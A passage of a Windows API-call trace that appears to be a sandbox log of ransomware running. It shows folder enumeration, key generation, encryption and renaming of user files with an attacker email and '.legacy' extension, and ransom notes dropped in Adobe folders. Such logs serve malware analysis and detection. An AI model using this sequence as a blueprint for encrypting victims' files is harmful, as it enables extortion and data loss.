FindNextFileW (in: hFindFile=0x60c2d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xf56c97e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xf56c97e4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xf56c97e4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".{91be532c-f9f1-406a-9858-43697c6f437a}_uxlock", cAlternateFileName="{91BE5~1")) returned 1 [0140.705] SetLastError (dwErrCode=0x12) [0140.705] GetLastError () returned 0x12 [0140.705] SetLastError (dwErrCode=0x12) [0140.705] SetLastError (dwErrCode=0x12) [0140.705] FindNextFileW (in: hFindFile=0x60c2d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6ad3b4e, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6ad3b4e, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6ad3b4e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0140.706] SetLastError (dwErrCode=0x12) [0140.706] GetLastError () returned 0x12 [0140.706] SetLastError (dwErrCode=0x12) [0140.706] SetLastError (dwErrCode=0x12) [0140.706] FindNextFileW (in: hFindFile=0x60c2d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6ad3b4e, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6ad3b4e, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6ad3b4e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0140.706] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0140.706] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0140.706] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\UNP\\.{91be532c-f9f1-406a-9858-43697c6f437a}_uxlock", dwFileAttributes=0x80) returned 1 [0140.708] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\UNP\\.{91be532c-f9f1-406a-9858-43697c6f437a}_uxlock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\unp\\.{91be532c-f9f1-406a-9858-43697c6f437a}_uxlock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x754 [0140.708] GetFileSizeEx (in: hFile=0x754, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0140.708] ReadFile (in: hFile=0x754, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0140.708] SetFilePointer (in: hFile=0x754, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.708] WriteFile (in: hFile=0x754, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0140.708] SetFilePointer (in: hFile=0x754, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0140.708] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0140.708] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0140.709] WriteFile (in: hFile=0x754, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0140.710] WriteFile (in: hFile=0x754, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0140.710] CloseHandle (hObject=0x754) returned 1 [0140.710] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0140.710] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0140.710] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\UNP\\.{91be532c-f9f1-406a-9858-43697c6f437a}_uxlock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\unp\\.{91be532c-f9f1-406a-9858-43697c6f437a}_uxlock"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\UNP\\.{91be532c-f9f1-406a-9858-43697c6f437a}_uxlock.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\unp\\.{91be532c-f9f1-406a-9858-43697c6f437a}_uxlock.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0140.780] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0140.780] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60d358 | out: hHeap=0x520000) returned 1 [0140.780] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dd30 | out: hHeap=0x520000) returned 1 [0140.780] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0140.780] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0140.780] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0140.780] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d60 | out: hHeap=0x520000) returned 1 [0140.780] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\VirtualStore\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6ad3b4e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c098 [0140.780] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.780] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553c10 [0140.780] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.780] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553c10 | out: hHeap=0x520000) returned 1 [0140.780] GetLastError () returned 0x0 [0140.780] SetLastError (dwErrCode=0x0) [0140.780] GetLastError () returned 0x0 [0140.781] SetLastError (dwErrCode=0x0) [0140.781] GetLastError () returned 0x0 [0140.781] SetLastError (dwErrCode=0x0) [0140.781] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0140.781] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d710 [0140.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0140.781] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60ff28 [0140.781] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c398 [0140.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c398 | out: hHeap=0x520000) returned 1 [0140.781] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20150 [0140.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20150 | out: hHeap=0x520000) returned 1 [0140.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ff28 | out: hHeap=0x520000) returned 1 [0140.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0140.781] FindNextFileW (in: hFindFile=0x60c098, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6ad3b4e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0140.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.781] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.781] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.781] GetLastError () returned 0x0 [0140.781] SetLastError (dwErrCode=0x0) [0140.781] GetLastError () returned 0x0 [0140.781] SetLastError (dwErrCode=0x0) [0140.781] GetLastError () returned 0x0 [0140.781] SetLastError (dwErrCode=0x0) [0140.781] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0140.782] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d190 [0140.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0140.782] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60fdc0 [0140.782] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c0d8 [0140.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c0d8 | out: hHeap=0x520000) returned 1 [0140.782] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20150 [0140.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20150 | out: hHeap=0x520000) returned 1 [0140.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fdc0 | out: hHeap=0x520000) returned 1 [0140.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0140.782] FindNextFileW (in: hFindFile=0x60c098, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6ad3b4e, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6ad3b4e, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6ad3b4e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0140.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.782] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.782] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.782] GetLastError () returned 0x0 [0140.782] SetLastError (dwErrCode=0x0) [0140.782] GetLastError () returned 0x0 [0140.782] SetLastError (dwErrCode=0x0) [0140.782] GetLastError () returned 0x0 [0140.782] SetLastError (dwErrCode=0x0) [0140.782] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60ff28 [0140.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ff28 | out: hHeap=0x520000) returned 1 [0140.782] FindNextFileW (in: hFindFile=0x60c098, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6ad3b4e, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6ad3b4e, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6ad3b4e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0140.782] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d978 [0140.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0140.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d138 | out: hHeap=0x520000) returned 1 [0140.783] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ba8 | out: hHeap=0x520000) returned 1 [0140.783] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7157dbce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xd6af9ef0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60bdd8 [0140.783] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.783] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.783] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.783] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.783] GetLastError () returned 0x12 [0140.783] SetLastError (dwErrCode=0x12) [0140.783] GetLastError () returned 0x12 [0140.783] SetLastError (dwErrCode=0x12) [0140.783] GetLastError () returned 0x12 [0140.783] SetLastError (dwErrCode=0x12) [0140.783] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0140.783] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d818 [0140.783] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0140.783] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610040 [0140.783] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c0d8 [0140.783] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c0d8 | out: hHeap=0x520000) returned 1 [0140.783] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200a8 [0140.783] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200a8 | out: hHeap=0x520000) returned 1 [0140.783] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610040 | out: hHeap=0x520000) returned 1 [0140.783] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0140.783] FindNextFileW (in: hFindFile=0x60bdd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7157dbce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xd6af9ef0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0140.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.784] GetLastError () returned 0x12 [0140.784] SetLastError (dwErrCode=0x12) [0140.784] GetLastError () returned 0x12 [0140.784] SetLastError (dwErrCode=0x12) [0140.784] GetLastError () returned 0x12 [0140.784] SetLastError (dwErrCode=0x12) [0140.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0140.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d138 [0140.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d138 | out: hHeap=0x520000) returned 1 [0140.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610040 [0140.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c0d8 [0140.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c0d8 | out: hHeap=0x520000) returned 1 [0140.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20348 [0140.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20348 | out: hHeap=0x520000) returned 1 [0140.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610040 | out: hHeap=0x520000) returned 1 [0140.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0140.784] FindNextFileW (in: hFindFile=0x60bdd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7157dbce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7157dbce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0140.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0140.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0140.784] GetLastError () returned 0x12 [0140.784] SetLastError (dwErrCode=0x12) [0140.785] GetLastError () returned 0x12 [0140.785] SetLastError (dwErrCode=0x12) [0140.785] GetLastError () returned 0x12 [0140.785] SetLastError (dwErrCode=0x12) [0140.785] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0140.785] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60ff28 [0140.785] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0140.785] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0140.785] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0140.785] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.785] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5852f8 [0140.785] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.785] GetLastError () returned 0x12 [0140.785] SetLastError (dwErrCode=0x12) [0140.785] GetLastError () returned 0x12 [0140.785] SetLastError (dwErrCode=0x12) [0140.785] GetLastError () returned 0x12 [0140.785] SetLastError (dwErrCode=0x12) [0140.785] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5857c0 [0140.785] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\acrobat\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0140.786] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5857c0 | out: hHeap=0x520000) returned 1 [0140.786] WriteFile (in: hFile=0x75c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.787] CloseHandle (hObject=0x75c) returned 1 [0140.787] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5852f8 | out: hHeap=0x520000) returned 1 [0140.787] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0140.787] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0140.787] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0140.787] FindNextFileW (in: hFindFile=0x60bdd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x523a5f8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x523a5f8d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0140.787] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.787] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.787] GetLastError () returned 0x0 [0140.787] SetLastError (dwErrCode=0x0) [0140.787] GetLastError () returned 0x0 [0140.787] SetLastError (dwErrCode=0x0) [0140.787] GetLastError () returned 0x0 [0140.787] SetLastError (dwErrCode=0x0) [0140.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60ff78 [0140.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60ffa0 [0140.787] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ff78 | out: hHeap=0x520000) returned 1 [0140.787] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ffa0 | out: hHeap=0x520000) returned 1 [0140.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5679b8 [0140.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60fde8 [0140.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567aa8 [0140.788] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0140.788] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0140.788] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.788] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x585050 [0140.788] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.788] GetLastError () returned 0x0 [0140.788] SetLastError (dwErrCode=0x0) [0140.788] GetLastError () returned 0x0 [0140.788] SetLastError (dwErrCode=0x0) [0140.788] GetLastError () returned 0x0 [0140.788] SetLastError (dwErrCode=0x0) [0140.788] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x585628 [0140.788] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\linguistics\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0140.789] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585628 | out: hHeap=0x520000) returned 1 [0140.789] WriteFile (in: hFile=0x75c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.790] CloseHandle (hObject=0x75c) returned 1 [0140.790] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585050 | out: hHeap=0x520000) returned 1 [0140.790] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0140.790] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0140.790] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567aa8 | out: hHeap=0x520000) returned 1 [0140.790] FindNextFileW (in: hFindFile=0x60bdd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd6af9ef0, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6af9ef0, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6af9ef0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0140.790] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | 